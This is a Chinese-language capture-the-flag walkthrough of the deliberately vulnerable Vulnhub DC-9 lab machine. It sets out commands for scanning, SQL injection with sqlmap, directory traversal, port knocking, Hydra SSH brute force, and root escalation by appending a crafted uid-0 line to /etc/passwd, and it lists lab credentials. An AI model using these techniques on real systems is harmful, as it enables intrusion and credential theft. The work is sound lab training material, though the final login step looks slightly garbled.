Vulnhub-DC-9靶机-SQL注入拿到账户+利用端口敲门连接ssh+信息泄露利用root脚本追加提权

一、环境搭建

选择扫描虚拟机

选择靶机路径

如果出现以下信息

如下修改,修改和虚拟机一样的版本

二、信息收集

扫ip

bash 复制代码
nmap -sn 192.168.108.0/24

得到靶机ip:192.168.108.143

扫开放端口

bash 复制代码
nmap -p 1-65535 192.168.108.143

只开放了两个端口

信息如下

bash 复制代码
22/tcp filtered ssh #filtered是"过滤的",意味着网络防火墙或其他安全设备正在阻止对该端口的访问,或者没有响应
80/tcp open     http

扫版本服务信息

bash 复制代码
nmap -sV 192.168.108.143

得到以下信息

信息如下

bash 复制代码
22/tcp filtered ssh
80/tcp open     http    Apache httpd 2.4.38 ((Debian))     #web的Apache服务版本

指纹探测

执行以下命令

bash 复制代码
nmap 192.168.108.143 -p 22,80 -sV -sC -O --version-all 

可用信息:

php 复制代码
运行系统:linux 3.x|4.x
操作系统CPE:cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
操作系统内核:linux 3.2-4.9

目录扫描

先用dirsaerch扫描

看看dirb扫描

整理一下可用信息

php 复制代码
http://192.168.108.143/config.php      //配置文件
http://192.168.108.143/display.php     //副页面
http://192.168.108.143/includes   
http://192.168.108.143/logout.php      //登出界面
http://192.168.108.143/manage.php      //管理界面-登录框
http://192.168.108.143/search.php    //搜索界面
http://192.168.108.143/index.php    //主界面

三、Web渗透

看看80端口,是如下一个界面

访问这几个页面以及上面扫描出来的目录,只有search和manage 界面有可用信息,在manage界面存在一个登录框,尝试弱口令万能密码无果

只能在search界面试试,这里搜索需要使用第二个界面的内容

当我们搜索Tom时,会出现一下信息,应该是调用了数据库信息然后给我们的回显,那么可能存在SQL注入

SQL注入

当我们输入Tom' or '1'='1时,存在sql注入

抓包看看,得到search参数

创建一个DC9.txt,将数据包内容输入进去,然后利用sqlmap跑出数据库

bash 复制代码
sqlmap -r DC9.txt --dbs

得到3个数据库

这里先看看Staff数据库,拿到两个数据表

看看Users表中的列

看看数据表内容

bash 复制代码
sqlmap -r DC9.txt -D Staff -T Users --dump

拿到一个管理员账号密码

bash 复制代码
password 'transorbital1' for user 'admin'

拿到的数据库

bash 复制代码
数据库:information_schema,Staff,users

看看users库

看看该表的列

看看表中数据

bash 复制代码
sqlmap -r DC9.txt -D users -T UserDetails --dump

将用户名和密码单独列出来

bash 复制代码
sqlmap -r DC9.txt -D users -T UserDetails -C username --dump
sqlmap -r DC9.txt -D users -T UserDetails -C password --dump

用户名

bash 复制代码
marym     
julied    
fredf     
barneyr   
tomc      
jerrym    
wilmaf    
bettyr   
chandlerb 
joeyt     
rachelg   
rossg     
monicag   
phoebeb   
scoots    
janitor   
janitor2  

密码

bash 复制代码
3kfs86sfd     
468sfdfsd2    
4sfd87sfd1    
RocksOff      
TC&TheBoyz    
B8m#48sd      
Pebbles       
BamBam01      
UrAG0D!       
Passw0rd      
yN72#dsd      
ILoveRachel   
3248dsds7s    
smellycats    
YR3BVxxxw87   
Ilovepeepee   
Hawaii-Five-0 

登录后台

成功登录进去,但是在此处发现一个文件不存在,可能存在文件包含

试试目录遍历,拿到了很多用户名信息

端口敲门服务

参考文章:https://www.cnblogs.com/wsjhk/p/5508051.html

随便拿一个上面爆破出的账号密码登录一下,发现22端口无法正常使用

这里需要了解一个知识点,端口敲门服务

php 复制代码
端口敲门(Port Knocking)是一种安全机制,用于在防火墙上动态地打开特定端口,以便允许特定的网络流量通过。这种技术通常用于增强服务器的安全性,特别是在需要远程访问(如 SSH)时。

看看其配置文件,得到敲门序列:sequence = 7469,8475,9842

这里有几种方法,比如使用nc工具 一个一个连接,或者下载knock工具,对获取的端口(开门密码)实现碰撞,必须按照序列进行连接

bash 复制代码
apt install knock
knock 192.168.108.143 7469 8475 9842

然后看看端口开放状态,成功开启端口

ssh爆破

这里需要使用hydra工具

bash 复制代码
Hydra 是一个非常流行的开源密码破解工具,广泛用于进行暴力破解和字典攻击。它支持多种协议和服务,包括 HTTP, FTP, SSH, Telnet, SMTP, POP3, IMAP 等等。Hydra 的灵活性和强大的功能使其成为渗透测试和安全评估中的重要工具

kali通常是预装的,准备一个用户名表和密码表

利用hydra进行爆破

bash 复制代码
hydra -L user.txt -P passwd.txt ssh://192.168.108.143

拿到以下信息

bash 复制代码
login: chandlerb   password: UrAG0D!
login: joeyt   password: Passw0rd
login: janitor   password: Ilovepeepee

四、提权

ssh登录寻找信息

chandlerb

没有什么可用信息

joeyt

也是没什么有用信息

janitor

发现一个目录,里面有一个密码文件

放到原先的密码表,再使用hydra爆破一处,拿到一个新账户

bash 复制代码
login: fredf   password: B4-Tru3-001

利用新账户登录

发现一个无需root权限可用使用的文件**,/opt/devstuff/dist/test**

执行该文件,发现如下信息

在**/opt/devstuff** 目录下发现test.py

查看该文件

bash 复制代码
#!/usr/bin/python

import sys

if len (sys.argv) != 3 :         #检查命令行参数数量
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")      #将第一个参数可读
    output = (f.read())

    f = open(sys.argv[2], "a")      #将第一个参数的内容追加到第二个参数
    f.write(output)
    f.close()

这里举个例子,如果我们执行 ./test.py 1.txt 2.txt ,那么程序会把1.txt 的内容追加到2.txt ,因为这个脚本是以root权限运行的,所以我们可以利用它追加账户密码到**/etc/passwd**中

追加账户密码提权

先使用openssl生成一个密码

然后将密码写入一个文件

bash 复制代码
track:$1$lPvyU8TX$Da4wA8ijXmhJGCWUmt5Kj0:0:0::/root:/bin/bash
echo "track:$1$lPvyU8TX$Da4wA8ijXmhJGCWUmt5Kj0:0:0::/root:/bin/bash" > /tmp/a.txt

将文件写入**/etc/passwd**

bash 复制代码
sudo /opt/devstuff/dist/test/test /tmp/a.txt /etc/passwd

然后登录即可

bash 复制代码
sudo track
密码:track
相关推荐
尘佑不尘6 小时前
【无标题】oscp备考,oscp系列——Tr0ll1靶场,两种提权方式,ftp匿名登录,ssh爆破,ubuntu内核提权,计划任务
web安全·ubuntu·渗透测试·ssh·vulnhub
网安CILLE6 小时前
自学网络安全(黑客技术)2025年 —90天学习计划
linux·网络·安全·web安全·网络安全
燕雀安知鸿鹄之志哉.8 小时前
jdk21下载、安装(Windows、Linux、macOS)
网络·安全·web安全·网络安全·系统安全
温柔小胖10 小时前
seacmsv9 SQL注入漏洞
数据库·sql·网络安全
nixiaoge14 小时前
seacms v9 实现的MySQL注入
数据库·网络安全
SRC_BLUE_1715 小时前
[Web 安全] 反序列化漏洞 - 学习笔记
笔记·学习·安全·网络安全
100086:)16 小时前
防火墙双机热备---VRRP,VGMP,HRP(超详细)
网络·网络安全·智能路由器
轨迹H16 小时前
BUUCTF-Web方向21-25wp
前端·网络安全·web·ctf·buuctf